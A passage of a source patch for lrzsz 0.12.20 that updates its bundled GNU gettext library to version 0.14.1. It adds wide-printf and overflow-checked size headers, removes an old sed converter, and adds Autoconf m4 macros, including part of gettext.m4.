-+ by the Free Software Foundation; either version 2, or (at your option)
-+ any later version.
-+
-+ This program is distributed in the hope that it will be useful,
-+ but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+ Library General Public License for more details.
-+
-+ You should have received a copy of the GNU Library General Public
-+ License along with this program; if not, write to the Free Software
-+ Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
-+ USA. */
-+
-+#ifndef _VASNWPRINTF_H
-+#define _VASNWPRINTF_H
-+
-+/* Get va_list. */
-+#include <stdarg.h>
-+
-+/* Get wchar_t, size_t. */
-+#include <stddef.h>
-+
-+#ifdef __cplusplus
-+extern "C" {
-+#endif
-+
-+/* Write formatted output to a string dynamically allocated with malloc().
-+ You can pass a preallocated buffer for the result in RESULTBUF and its
-+ size in *LENGTHP; otherwise you pass RESULTBUF = NULL.
-+ If successful, return the address of the string (this may be = RESULTBUF
-+ if no dynamic memory allocation was necessary) and set *LENGTHP to the
-+ number of resulting bytes, excluding the trailing NUL. Upon error, set
-+ errno and return NULL. */
-+extern wchar_t * asnwprintf (wchar_t *resultbuf, size_t *lengthp, const wchar_t *format, ...);
-+extern wchar_t * vasnwprintf (wchar_t *resultbuf, size_t *lengthp, const wchar_t *format, va_list args);
-+
-+#ifdef __cplusplus
-+}
-+#endif
-+
-+#endif /* _VASNWPRINTF_H */
---- lrzsz-0.12.20.safe/intl/VERSION 1998-04-26 09:22:37.000000000 -0400
-+++ lrzsz-0.12.20/intl/VERSION 2004-09-12 14:40:34.679698840 -0400
-@@ -1 +1 @@
--GNU gettext library from gettext-0.10.32
-+GNU gettext library from gettext-0.14.1
---- lrzsz-0.12.20.safe/intl/wprintf-parse.h 1969-12-31 19:00:00.000000000 -0500
-+++ lrzsz-0.12.20/intl/wprintf-parse.h 2004-09-12 14:40:34.695696408 -0400
-@@ -0,0 +1,75 @@
-+/* Parse printf format string.
-+ Copyright (C) 1999, 2002-2003 Free Software Foundation, Inc.
-+
-+ This program is free software; you can redistribute it and/or modify it
-+ under the terms of the GNU Library General Public License as published
-+ by the Free Software Foundation; either version 2, or (at your option)
-+ any later version.
-+
-+ This program is distributed in the hope that it will be useful,
-+ but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+ Library General Public License for more details.
-+
-+ You should have received a copy of the GNU Library General Public
-+ License along with this program; if not, write to the Free Software
-+ Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
-+ USA. */
-+
-+#ifndef _WPRINTF_PARSE_H
-+#define _WPRINTF_PARSE_H
-+
-+#include "printf-args.h"
-+
-+
-+/* Flags */
-+#define FLAG_GROUP 1 /* ' flag */
-+#define FLAG_LEFT 2 /* - flag */
-+#define FLAG_SHOWSIGN 4 /* + flag */
-+#define FLAG_SPACE 8 /* space flag */
-+#define FLAG_ALT 16 /* # flag */
-+#define FLAG_ZERO 32
-+
-+/* arg_index value indicating that no argument is consumed. */
-+#define ARG_NONE (~(size_t)0)
-+
-+/* A parsed directive. */
-+typedef struct
-+{
-+ const wchar_t* dir_start;
-+ const wchar_t* dir_end;
-+ int flags;
-+ const wchar_t* width_start;
-+ const wchar_t* width_end;
-+ size_t width_arg_index;
-+ const wchar_t* precision_start;
-+ const wchar_t* precision_end;
-+ size_t precision_arg_index;
-+ wchar_t conversion; /* d i o u x X f e E g G c s p n U % but not C S */
-+ size_t arg_index;
-+}
-+wchar_t_directive;
-+
-+/* A parsed format string. */
-+typedef struct
-+{
-+ size_t count;
-+ wchar_t_directive *dir;
-+ size_t max_width_length;
-+ size_t max_precision_length;
-+}
-+wchar_t_directives;
-+
-+
-+/* Parses the format string. Fills in the number N of directives, and fills
-+ in directives[0], ..., directives[N-1], and sets directives[N].dir_start
-+ to the end of the format string. Also fills in the arg_type fields of the
-+ arguments and the needed count of arguments. */
-+#ifdef STATIC
-+STATIC
-+#else
-+extern
-+#endif
-+int wprintf_parse (const wchar_t *format, wchar_t_directives *d, arguments *a);
-+
-+#endif /* _WPRINTF_PARSE_H */
---- lrzsz-0.12.20.safe/intl/xopen-msg.sed 1998-04-26 09:20:52.000000000 -0400
-+++ lrzsz-0.12.20/intl/xopen-msg.sed 1969-12-31 19:00:00.000000000 -0500
-@@ -1,104 +0,0 @@
--# po2msg.sed - Convert Uniforum style .po file to X/Open style .msg file
--# Copyright (C) 1995 Free Software Foundation, Inc.
--# Ulrich Drepper <drepper@gnu.ai.mit.edu>, 1995.
--#
--# This program is free software; you can redistribute it and/or modify
--# it under the terms of the GNU General Public License as published by
--# the Free Software Foundation; either version 2, or (at your option)
--# any later version.
--#
--# This program is distributed in the hope that it will be useful,
--# but WITHOUT ANY WARRANTY; without even the implied warranty of
--# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
--# GNU General Public License for more details.
--#
--# You should have received a copy of the GNU General Public License
--# along with this program; if not, write to the Free Software
--# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
--#
--#
--# The first directive in the .msg should be the definition of the
--# message set number. We use always set number 1.
--#
--1 {
-- i\
--$set 1 # Automatically created by po2msg.sed
-- h
-- s/.*/0/
-- x
--}
--#
--# We copy all comments into the .msg file. Perhaps they can help.
--#
--/^#/ s/^#[ ]*/$ /p
--#
--# We copy the original message as a comment into the .msg file.
--#
--/^msgid/ {
--# Does not work now
--# /"$/! {
--# s/\\$//
--# s/$/ ... (more lines following)"/
--# }
-- s/^msgid[ ]*"\(.*\)"$/$ Original Message: \1/
-- p
--}
--#
--# The .msg file contains, other then the .po file, only the translations
--# but each given a unique ID. Starting from 1 and incrementing by 1 for
--# each message we assign them to the messages.
--# It is important that the .po file used to generate the cat-id-tbl.c file
--# (with po-to-tbl) is the same as the one used here. (At least the order
--# of declarations must not be changed.)
--#
--/^msgstr/ {
-- s/msgstr[ ]*"\(.*\)"/\1/
-- x
--# The following nice solution is by
--# Bruno <Haible@ma2s2.mathematik.uni-karlsruhe.de>
-- td
--# Increment a decimal number in pattern space.
--# First hide trailing `9' digits.
-- :d
-- s/9\(_*\)$/_\1/
-- td
--# Assure at least one digit is available.
-- s/^\(_*\)$/0\1/
--# Increment the last digit.
-- s/8\(_*\)$/9\1/
-- s/7\(_*\)$/8\1/
-- s/6\(_*\)$/7\1/
-- s/5\(_*\)$/6\1/
-- s/4\(_*\)$/5\1/
-- s/3\(_*\)$/4\1/
-- s/2\(_*\)$/3\1/
-- s/1\(_*\)$/2\1/
-- s/0\(_*\)$/1\1/
--# Convert the hidden `9' digits to `0's.
-- s/_/0/g
-- x
--# Bring the line in the format `<number> <message>'
-- G
-- s/^[^\n]*$/& /
-- s/\(.*\)\n\([0-9]*\)/\2 \1/
--# Clear flag from last substitution.
-- tb
--# Append the next line.
-- :b
-- N
--# Look whether second part is a continuation line.
-- s/\(.*\n\)"\(.*\)"/\1\2/
--# Yes, then branch.
-- ta
-- P
-- D
--# Note that `D' includes a jump to the start!!
--# We found a continuation line. But before printing insert '\'.
-- :a
-- s/\(.*\)\(\n.*\)/\1\\\2/
-- P
--# We cannot use the sed command `D' here
-- s/.*\n\(.*\)/\1/
-- tb
--}
--d
---- lrzsz-0.12.20.safe/intl/xsize.h 1969-12-31 19:00:00.000000000 -0500
-+++ lrzsz-0.12.20/intl/xsize.h 2004-09-12 14:40:34.700695648 -0400
-@@ -0,0 +1,109 @@
-+/* xsize.h -- Checked size_t computations.
-+
-+ Copyright (C) 2003 Free Software Foundation, Inc.
-+
-+ This program is free software; you can redistribute it and/or modify it
-+ under the terms of the GNU Library General Public License as published
-+ by the Free Software Foundation; either version 2, or (at your option)
-+ any later version.
-+
-+ This program is distributed in the hope that it will be useful,
-+ but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+ Library General Public License for more details.
-+
-+ You should have received a copy of the GNU Library General Public
-+ License along with this program; if not, write to the Free Software
-+ Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
-+ USA. */
-+
-+#ifndef _XSIZE_H
-+#define _XSIZE_H
-+
-+/* Get size_t. */
-+#include <stddef.h>
-+
-+/* Get SIZE_MAX. */
-+#include <limits.h>
-+#if HAVE_STDINT_H
-+# include <stdint.h>
-+#endif
-+
-+/* The size of memory objects is often computed through expressions of
-+ type size_t. Example:
-+ void* p = malloc (header_size + n * element_size).
-+ These computations can lead to overflow. When this happens, malloc()
-+ returns a piece of memory that is way too small, and the program then
-+ crashes while attempting to fill the memory.
-+ To avoid this, the functions and macros in this file check for overflow.
-+ The convention is that SIZE_MAX represents overflow.
-+ malloc (SIZE_MAX) is not guaranteed to fail -- think of a malloc
-+ implementation that uses mmap --, it's recommended to use size_overflow_p()
-+ or size_in_bounds_p() before invoking malloc().
-+ The example thus becomes:
-+ size_t size = xsum (header_size, xtimes (n, element_size));
-+ void *p = (size_in_bounds_p (size) ? malloc (size) : NULL);
-+*/
-+
-+/* Convert an arbitrary value >= 0 to type size_t. */
-+#define xcast_size_t(N) \
-+ ((N) <= SIZE_MAX ? (size_t) (N) : SIZE_MAX)
-+
-+/* Sum of two sizes, with overflow check. */
-+static inline size_t
-+#if __GNUC__ >= 3
-+__attribute__ ((__pure__))
-+#endif
-+xsum (size_t size1, size_t size2)
-+{
-+ size_t sum = size1 + size2;
-+ return (sum >= size1 ? sum : SIZE_MAX);
-+}
-+
-+/* Sum of three sizes, with overflow check. */
-+static inline size_t
-+#if __GNUC__ >= 3
-+__attribute__ ((__pure__))
-+#endif
-+xsum3 (size_t size1, size_t size2, size_t size3)
-+{
-+ return xsum (xsum (size1, size2), size3);
-+}
-+
-+/* Sum of four sizes, with overflow check. */
-+static inline size_t
-+#if __GNUC__ >= 3
-+__attribute__ ((__pure__))
-+#endif
-+xsum4 (size_t size1, size_t size2, size_t size3, size_t size4)
-+{
-+ return xsum (xsum (xsum (size1, size2), size3), size4);
-+}
-+
-+/* Maximum of two sizes, with overflow check. */
-+static inline size_t
-+#if __GNUC__ >= 3
-+__attribute__ ((__pure__))
-+#endif
-+xmax (size_t size1, size_t size2)
-+{
-+ /* No explicit check is needed here, because for any n:
-+ max (SIZE_MAX, n) == SIZE_MAX and max (n, SIZE_MAX) == SIZE_MAX. */
-+ return (size1 >= size2 ? size1 : size2);
-+}
-+
-+/* Multiplication of a count with an element size, with overflow check.
-+ The count must be >= 0 and the element size must be > 0.
-+ This is a macro, not an inline function, so that it works correctly even
-+ when N is of a wider tupe and N > SIZE_MAX. */
-+#define xtimes(N, ELSIZE) \
-+ ((N) <= SIZE_MAX / (ELSIZE) ? (size_t) (N) * (ELSIZE) : SIZE_MAX)
-+
-+/* Check for overflow. */
-+#define size_overflow_p(SIZE) \
-+ ((SIZE) == SIZE_MAX)
-+/* Check against overflow. */
-+#define size_in_bounds_p(SIZE) \
-+ ((SIZE) != SIZE_MAX)
-+
-+#endif /* _XSIZE_H */
---- lrzsz-0.12.20.safe/m4/ChangeLog 1969-12-31 19:00:00.000000000 -0500
-+++ lrzsz-0.12.20/m4/ChangeLog 2004-09-12 14:40:35.054641840 -0400
-@@ -0,0 +1,32 @@
-+2004-09-12 gettextize <bug-gnu-gettext@gnu.org>
-+
-+ * codeset.m4: New file, from gettext-0.14.1.
-+ * gettext.m4: New file, from gettext-0.14.1.
-+ * glibc21.m4: New file, from gettext-0.14.1.
-+ * iconv.m4: New file, from gettext-0.14.1.
-+ * intdiv0.m4: New file, from gettext-0.14.1.
-+ * intmax.m4: New file, from gettext-0.14.1.
-+ * inttypes.m4: New file, from gettext-0.14.1.
-+ * inttypes_h.m4: New file, from gettext-0.14.1.
-+ * inttypes-pri.m4: New file, from gettext-0.14.1.
-+ * isc-posix.m4: New file, from gettext-0.14.1.
-+ * lcmessage.m4: New file, from gettext-0.14.1.
-+ * lib-ld.m4: New file, from gettext-0.14.1.
-+ * lib-link.m4: New file, from gettext-0.14.1.
-+ * lib-prefix.m4: New file, from gettext-0.14.1.
-+ * longdouble.m4: New file, from gettext-0.14.1.
-+ * longlong.m4: New file, from gettext-0.14.1.
-+ * nls.m4: New file, from gettext-0.14.1.
-+ * po.m4: New file, from gettext-0.14.1.
-+ * printf-posix.m4: New file, from gettext-0.14.1.
-+ * progtest.m4: New file, from gettext-0.14.1.
-+ * signed.m4: New file, from gettext-0.14.1.
-+ * size_max.m4: New file, from gettext-0.14.1.
-+ * stdint_h.m4: New file, from gettext-0.14.1.
-+ * uintmax_t.m4: New file, from gettext-0.14.1.
-+ * ulonglong.m4: New file, from gettext-0.14.1.
-+ * wchar_t.m4: New file, from gettext-0.14.1.
-+ * wint_t.m4: New file, from gettext-0.14.1.
-+ * xsize.m4: New file, from gettext-0.14.1.
-+ * Makefile.am: New file.
-+
---- lrzsz-0.12.20.safe/m4/codeset.m4 1969-12-31 19:00:00.000000000 -0500
-+++ lrzsz-0.12.20/m4/codeset.m4 2004-09-12 14:40:34.820677408 -0400
-@@ -0,0 +1,23 @@
-+# codeset.m4 serial AM1 (gettext-0.10.40)
-+dnl Copyright (C) 2000-2002 Free Software Foundation, Inc.
-+dnl This file is free software, distributed under the terms of the GNU
-+dnl General Public License. As a special exception to the GNU General
-+dnl Public License, this file may be distributed as part of a program
-+dnl that contains a configuration script generated by Autoconf, under
-+dnl the same distribution terms as the rest of that program.
-+
-+dnl From Bruno Haible.
-+
-+AC_DEFUN([AM_LANGINFO_CODESET],
-+[
-+ AC_CACHE_CHECK([for nl_langinfo and CODESET], am_cv_langinfo_codeset,
-+ [AC_TRY_LINK([#include <langinfo.h>],
-+ [char* cs = nl_langinfo(CODESET);],
-+ am_cv_langinfo_codeset=yes,
-+ am_cv_langinfo_codeset=no)
-+ ])
-+ if test $am_cv_langinfo_codeset = yes; then
-+ AC_DEFINE(HAVE_LANGINFO_CODESET, 1,
-+ [Define if you have <langinfo.h> and nl_langinfo(CODESET).])
-+ fi
-+])
---- lrzsz-0.12.20.safe/m4/gettext.m4 1969-12-31 19:00:00.000000000 -0500
-+++ lrzsz-0.12.20/m4/gettext.m4 2004-09-12 14:40:34.826676496 -0400
-@@ -0,0 +1,487 @@
-+# gettext.m4 serial 28 (gettext-0.13)
-+dnl Copyright (C) 1995-2003 Free Software Foundation, Inc.
-+dnl This file is free software, distributed under the terms of the GNU
-+dnl General Public License. As a special exception to the GNU General
-+dnl Public License, this file may be distributed as part of a program
-+dnl that contains a configuration script generated by Autoconf, under
-+dnl the same distribution terms as the rest of that program.
-+dnl
-+dnl This file can can be used in projects which are not available under
-+dnl the GNU General Public License or the GNU Library General Public
-+dnl License but which still want to provide support for the GNU gettext
-+dnl functionality.
-+dnl Please note that the actual code of the GNU gettext library is covered
-+dnl by the GNU Library General Public License, and the rest of the GNU
-+dnl gettext package package is covered by the GNU General Public License.
-+dnl They are *not* in the public domain.
-+
-+dnl Authors:
-+dnl Ulrich Drepper <drepper@cygnus.com>, 1995-2000.
-+dnl Bruno Haible <haible@clisp.cons.org>, 2000-2003.
-+
-+dnl Macro to add for using GNU gettext.
-+
-+dnl Usage: AM_GNU_GETTEXT([INTLSYMBOL], [NEEDSYMBOL], [INTLDIR]).
-+dnl INTLSYMBOL can be one of 'external', 'no-libtool', 'use-libtool'. The
-+dnl default (if it is not specified or empty) is 'no-libtool'.
-+dnl INTLSYMBOL should be 'external' for packages with no intl directory,
-+dnl and 'no-libtool' or 'use-libtool' for packages with an intl directory.
-+dnl If INTLSYMBOL is 'use-libtool', then a libtool library
-+dnl $(top_builddir)/intl/libintl.la will be created (shared and/or static,
-+dnl depending on --{enable,disable}-{shared,static} and on the presence of
-+dnl AM-DISABLE-SHARED). If INTLSYMBOL is 'no-libtool', a static library
-+dnl $(top_builddir)/intl/libintl.a will be created.
-+dnl If NEEDSYMBOL is specified and is 'need-ngettext', then GNU gettext
-+dnl implementations (in libc or libintl) without the ngettext() function
-+dnl will be ignored. If NEEDSYMBOL is specified and is
-+dnl 'need-formatstring-macros', then GNU gettext implementations that don't
-+dnl support the ISO C 99 <inttypes.h> formatstring macros will be ignored.
-+dnl INTLDIR is used to find the intl libraries. If empty,
-+dnl the value `$(top_builddir)/intl/' is used.
-+dnl
-+dnl The result of the configuration is one of three cases:
-+dnl 1) GNU gettext, as included in the intl subdirectory, will be compiled
-+dnl and used.
-+dnl Catalog format: GNU --> install in $(datadir)
-+dnl Catalog extension: .mo after installation, .gmo in source tree
-+dnl 2) GNU gettext has been found in the system's C library.
-+dnl Catalog format: GNU --> install in $(datadir)
-+dnl Catalog extension: .mo after installation, .gmo in source tree
-+dnl 3) No internationalization, always use English msgid.
-+dnl Catalog format: none
-+dnl Catalog extension: none
-+dnl If INTLSYMBOL is 'external', only cases 2 and 3 can occur.
-+dnl The use of .gmo is historical (it was needed to avoid overwriting the
-+dnl GNU format catalogs when building on a platform with an X/Open gettext),
-+dnl but we keep it in order not to force irrelevant filename changes on the
-+dnl maintainers.
-+dnl
-+AC_DEFUN([AM_GNU_GETTEXT],
-+[
-+ dnl Argument checking.
-+ ifelse([$1], [], , [ifelse([$1], [external], , [ifelse([$1], [no-libtool], , [ifelse([$1], [use-libtool], ,
-+ [errprint([ERROR: invalid first argument to AM_GNU_GETTEXT
-+])])])])])
-+ ifelse([$2], [], , [ifelse([$2], [need-ngettext], , [ifelse([$2], [need-formatstring-macros], ,
-+ [errprint([ERROR: invalid second argument to AM_GNU_GETTEXT
-+])])])])
-+ define(gt_included_intl, ifelse([$1], [external], [no], [yes]))
-+ define(gt_libtool_suffix_prefix, ifelse([$1], [use-libtool], [l], []))
-+
-+ AC_REQUIRE([AM_PO_SUBDIRS])dnl
-+ ifelse(gt_included_intl, yes, [
-+ AC_REQUIRE([AM_INTL_SUBDIR])dnl
-+ ])
-+
-+ dnl Prerequisites of AC_LIB_LINKFLAGS_BODY.
-+ AC_REQUIRE([AC_LIB_PREPARE_PREFIX])
-+ AC_REQUIRE([AC_LIB_RPATH])
-+
-+ dnl Sometimes libintl requires libiconv, so first search for libiconv.
-+ dnl Ideally we would do this search only after the
-+ dnl if test "$USE_NLS" = "yes"; then
-+ dnl if test "$gt_cv_func_gnugettext_libc" != "yes"; then
-+ dnl tests. But if configure.in invokes AM_ICONV after AM_GNU_GETTEXT
-+ dnl the configure script would need to contain the same shell code
-+ dnl again, outside any 'if'. There are two solutions:
-+ dnl - Invoke AM_ICONV_LINKFLAGS_BODY here, outside any 'if'.
-+ dnl - Control the expansions in more detail using AC_PROVIDE_IFELSE.
-+ dnl Since AC_PROVIDE_IFELSE is only in autoconf >= 2.52 and not
-+ dnl documented, we avoid it.
-+ ifelse(gt_included_intl, yes, , [
-+ AC_REQUIRE([AM_ICONV_LINKFLAGS_BODY])
-+ ])
-+
-+ dnl Set USE_NLS.
-+ AM_NLS
-+
-+ ifelse(gt_included_intl, yes, [
-+ BUILD_INCLUDED_LIBINTL=no
-+ USE_INCLUDED_LIBINTL=no
-+ ])
-+ LIBINTL=
-+ LTLIBINTL=
-+ POSUB=
-+
-+ dnl If we use NLS figure out what method
-+ if test "$USE_NLS" = "yes"; then
-+ gt_use_preinstalled_gnugettext=no
-+ ifelse(gt_included_intl, yes, [
-+ AC_MSG_CHECKING([whether included gettext is requested])
-+ AC_ARG_WITH(included-gettext,
-+ [ --with-included-gettext use the GNU gettext library included here],
-+ nls_cv_force_use_gnu_gettext=$withval,
-+ nls_cv_force_use_gnu_gettext=no)
-+ AC_MSG_RESULT($nls_cv_force_use_gnu_gettext)
-+
-+ nls_cv_use_gnu_gettext="$nls_cv_force_use_gnu_gettext"
-+ if test "$nls_cv_force_use_gnu_gettext" != "yes"; then
-+ ])
-+ dnl User does not insist on using GNU NLS library. Figure out what
-+ dnl to use. If GNU gettext is available we use this. Else we have
-+ dnl to fall back to GNU NLS library.
-+
-+ dnl Add a version number to the cache macros.
-+ define([gt_api_version], ifelse([$2], [need-formatstring-macros], 3, ifelse([$2], [need-ngettext], 2, 1)))
-+ define([gt_cv_func_gnugettext_libc], [gt_cv_func_gnugettext]gt_api_version[_libc])
-+ define([gt_cv_func_gnugettext_libintl], [gt_cv_func_gnugettext]gt_api_version[_libintl])
-+
-+ AC_CACHE_CHECK([for GNU gettext in libc], gt_cv_func_gnugettext_libc,
-+ [AC_TRY_LINK([#include <libintl.h>
-+]ifelse([$2], [need-formatstring-macros],
-+[#ifndef __GNU_GETTEXT_SUPPORTED_REVISION
-+#define __GNU_GETTEXT_SUPPORTED_REVISION(major) ((major) == 0 ? 0 : -1)
-+#endif
-+changequote(,)dnl
-+typedef int array [2 * (__GNU_GETTEXT_SUPPORTED_REVISION(0) >= 1) - 1];
-+changequote([,])dnl
-+], [])[extern int _nl_msg_cat_cntr;
-+extern int *_nl_domain_bindings;],
-+ [bindtextdomain ("", "");
-+return (int) gettext ("")]ifelse([$2], [need-ngettext], [ + (int) ngettext ("", "", 0)], [])[ + _nl_msg_cat_cntr + *_nl_domain_bindings],
-+ gt_cv_func_gnugettext_libc=yes,
-+ gt_cv_func_gnugettext_libc=no)])
-+
-+ if test "$gt_cv_func_gnugettext_libc" != "yes"; then
-+ dnl Sometimes libintl requires libiconv, so first search for libiconv.
-+ ifelse(gt_included_intl, yes, , [
-+ AM_ICONV_LINK
-+ ])
-+ dnl Search for libintl and define LIBINTL, LTLIBINTL and INCINTL
-+ dnl accordingly. Don't use AC_LIB_LINKFLAGS_BODY([intl],[iconv])
-+ dnl because that would add "-liconv" to LIBINTL and LTLIBINTL
-+ dnl even if libiconv doesn't exist.
-+ AC_LIB_LINKFLAGS_BODY([intl])
-+ AC_CACHE_CHECK([for GNU gettext in libintl],
-+ gt_cv_func_gnugettext_libintl,
-+ [gt_save_CPPFLAGS="$CPPFLAGS"
-+ CPPFLAGS="$CPPFLAGS $INCINTL"
-+ gt_save_LIBS="$LIBS"
-+ LIBS="$LIBS $LIBINTL"
-+ dnl Now see whether libintl exists and does not depend on libiconv.
-+ AC_TRY_LINK([#include <libintl.h>
-+]ifelse([$2], [need-formatstring-macros],
-+[#ifndef __GNU_GETTEXT_SUPPORTED_REVISION
-+#define __GNU_GETTEXT_SUPPORTED_REVISION(major) ((major) == 0 ? 0 : -1)
-+#endif
-+changequote(,)dnl
-+typedef int array [2 * (__GNU_GETTEXT_SUPPORTED_REVISION(0) >= 1) - 1];
-+changequote([,])dnl
-+], [])[extern int _nl_msg_cat_cntr;
-+extern
-+#ifdef __cplusplus
-+"C"
-+#endif
-+const char *_nl_expand_alias ();],
-+ [bindtextdomain ("", "");
-+return (int) gettext ("")]ifelse([$2], [need-ngettext], [ + (int) ngettext ("", "", 0)], [])[ + _nl_msg_cat_cntr + *_nl_expand_alias (0)],
-+ gt_cv_func_gnugettext_libintl=yes,
-+ gt_cv_func_gnugettext_libintl=no)
-+ dnl Now see whether libintl exists and depends on libiconv.
-+ if test "$gt_cv_func_gnugettext_libintl" != yes && test -n "$LIBICONV"; then
-+ LIBS="$LIBS $LIBICONV"
-+ AC_TRY_LINK([#include <libintl.h>
-+]ifelse([$2], [need-formatstring-macros],
-+[#ifndef __GNU_GETTEXT_SUPPORTED_REVISION
-+#define __GNU_GETTEXT_SUPPORTED_REVISION(major) ((major) == 0 ? 0 : -1)
-+#endif
-+changequote(,)dnl
-+typedef int array [2 * (__GNU_GETTEXT_SUPPORTED_REVISION(0) >= 1) - 1];
-+changequote([,])dnl
-+], [])[extern int _nl_msg_cat_cntr;
-+extern
-+#ifdef __cplusplus
-+"C"
-+#endif
-+const char *_nl_expand_alias ();],
-+ [bindtextdomain ("", "");
-+return (int) gettext ("")]ifelse([$2], [need-ngettext], [ + (int) ngettext ("", "", 0)], [])[ + _nl_msg_cat_cntr + *_nl_expand_alias (0)],
-+ [LIBINTL="$LIBINTL $LIBICONV"
-+ LTLIBINTL="$LTLIBINTL $LTLIBICONV"
-+ gt_cv_func_gnugettext_libintl=yes
-+ ])
-+ fi
-+ CPPFLAGS="$gt_save_CPPFLAGS"
-+ LIBS="$gt_save_LIBS"])
-+ fi
-+
-+ dnl If an already present or preinstalled GNU gettext() is found,
-+ dnl use it. But if this macro is used in GNU gettext, and GNU
-+ dnl gettext is already preinstalled in libintl, we update this
-+ dnl libintl. (Cf. the install rule in intl/Makefile.in.)
-+ if test "$gt_cv_func_gnugettext_libc" = "yes" \
-+ || { test "$gt_cv_func_gnugettext_libintl" = "yes" \
-+ && test "$PACKAGE" != gettext-runtime \
-+ && test "$PACKAGE" != gettext-tools; }; then
-+ gt_use_preinstalled_gnugettext=yes
-+ else
-+ dnl Reset the values set by searching for libintl.
-+ LIBINTL=
-+ LTLIBINTL=
-+ INCINTL=
-+ fi
-+
-+ ifelse(gt_included_intl, yes, [
-+ if test "$gt_use_preinstalled_gnugettext" != "yes"; then
-+ dnl GNU gettext is not found in the C library.
-+ dnl Fall back on included GNU gettext library.
-+ nls_cv_use_gnu_gettext=yes
-+ fi
-+ fi
-+
-+ if test "$nls_cv_use_gnu_gettext" = "yes"; then
-+ dnl Mark actions used to generate GNU NLS library.
-+ BUILD_INCLUDED_LIBINTL=yes
-+ USE_INCLUDED_LIBINTL=yes
-+ LIBINTL="ifelse([$3],[],\${top_builddir}/intl,[$3])/libintl.[]gt_libtool_suffix_prefix[]a $LIBICONV"
-+ LTLIBINTL="ifelse([$3],[],\${top_builddir}/intl,[$3])/libintl.[]gt_libtool_suffix_prefix[]a $LTLIBICONV"
-+ LIBS=`echo " $LIBS " | sed -e 's/ -lintl / /' -e 's/^ //' -e 's/ $//'`
-+ fi
-+
-+ if test "$gt_use_preinstalled_gnugettext" = "yes" \
-+ || test "$nls_cv_use_gnu_gettext" = "yes"; then
-+ dnl Mark actions to use GNU gettext tools.
-+ CATOBJEXT=.gmo
-+ fi
-+ ])
-+
-+ if test "$gt_use_preinstalled_gnugettext" = "yes" \
-+ || test "$nls_cv_use_gnu_gettext" = "yes"; then
-+ AC_DEFINE(ENABLE_NLS, 1,
-+ [Define to 1 if translation of program messages to the user's native language
-+ is requested.])
-+ else
-+ USE_NLS=no
-+ fi
-+ fi
-+
-+ AC_MSG_CHECKING([whether to use NLS])
-+ AC_MSG_RESULT([$USE_NLS])
-+ if test "$USE_NLS" = "yes"; then
-+ AC_MSG_CHECKING([where the gettext function comes from])
-+ if test "$gt_use_preinstalled_gnugettext" = "yes"; then
-+ if test "$gt_cv_func_gnugettext_libintl" = "yes"; then
-+ gt_source="external libintl"
-+ else
-+ gt_source="libc"
-+ fi
-+ else
-+ gt_source="included intl directory"
-+ fi
-+ AC_MSG_RESULT([$gt_source])
-+ fi
-+
-+ if test "$USE_NLS" = "yes"; then
-+
-+ if test "$gt_use_preinstalled_gnugettext" = "yes"; then
-+ if test "$gt_cv_func_gnugettext_libintl" = "yes"; then
-+ AC_MSG_CHECKING([how to link with libintl])
-+ AC_MSG_RESULT([$LIBINTL])
-+ AC_LIB_APPENDTOVAR([CPPFLAGS], [$INCINTL])
-+ fi
-+
-+ dnl For backward compatibility. Some packages may be using this.
-+ AC_DEFINE(HAVE_GETTEXT, 1,
-+ [Define if the GNU gettext() function is already present or preinstalled.])
-+ AC_DEFINE(HAVE_DCGETTEXT, 1,
-+ [Define if the GNU dcgettext() function is already present or preinstalled.])
-+ fi
-+
-+ dnl We need to process the po/ directory.
-+ POSUB=po
-+ fi
-+
-+ ifelse(gt_included_intl, yes, [
-+ dnl If this is used in GNU gettext we have to set BUILD_INCLUDED_LIBINTL
-+ dnl to 'yes' because some of the testsuite requires it.
-+ if test "$PACKAGE" = gettext-runtime || test "$PACKAGE" = gettext-tools; then
-+ BUILD_INCLUDED_LIBINTL=yes
-+ fi
-+
-+ dnl Make all variables we use known to autoconf.
-+ AC_SUBST(BUILD_INCLUDED_LIBINTL)
-+ AC_SUBST(USE_INCLUDED_LIBINTL)
-+ AC_SUBST(CATOBJEXT)
-+
-+ dnl For backward compatibility. Some configure.ins may be using this.
-+ nls_cv_header_intl=
-+ nls_cv_header_libgt=
-+
-+ dnl For backward compatibility. Some Makefiles may be using this.
-+ DATADIRNAME=share
-+ AC_SUBST(DATADIRNAME)
-+
-+ dnl For backward compatibility. Some Makefiles may be using this.
-+ INSTOBJEXT=.mo
-+ AC_SUBST(INSTOBJEXT)
-+
-+ dnl For backward compatibility. Some Makefiles may be using this.
-+ GENCAT=gencat
-+ AC_SUBST(GENCAT)
-+
-+ dnl For backward compatibility. Some Makefiles may be using this.
-+ if test "$USE_INCLUDED_LIBINTL" = yes; then
-+ INTLOBJS="\$(GETTOBJS)"
-+ fi
-+ AC_SUBST(INTLOBJS)
-+
-+ dnl Enable libtool support if the surrounding package wishes it.
-+ INTL_LIBTOOL_SUFFIX_PREFIX=gt_libtool_suffix_prefix
-+ AC_SUBST(INTL_LIBTOOL_SUFFIX_PREFIX)
-+ ])
-+
-+ dnl For backward compatibility. Some Makefiles may be using this.
-+ INTLLIBS="$LIBINTL"
-+ AC_SUBST(INTLLIBS)
-+
-+ dnl Make all documented variables known to autoconf.
-+ AC_SUBST(LIBINTL)
-+ AC_SUBST(LTLIBINTL)
-+ AC_SUBST(POSUB)
-+])
-+
-+
-+dnl Checks for all prerequisites of the intl subdirectory,
-+dnl except for INTL_LIBTOOL_SUFFIX_PREFIX (and possibly LIBTOOL), INTLOBJS,
-+dnl USE_INCLUDED_LIBINTL, BUILD_INCLUDED_LIBINTL.
-+AC_DEFUN([AM_INTL_SUBDIR],
-+[
-+ AC_REQUIRE([AC_PROG_INSTALL])dnl
-+ AC_REQUIRE([AM_MKINSTALLDIRS])dnl
-+ AC_REQUIRE([AC_PROG_CC])dnl
-+ AC_REQUIRE([AC_CANONICAL_HOST])dnl
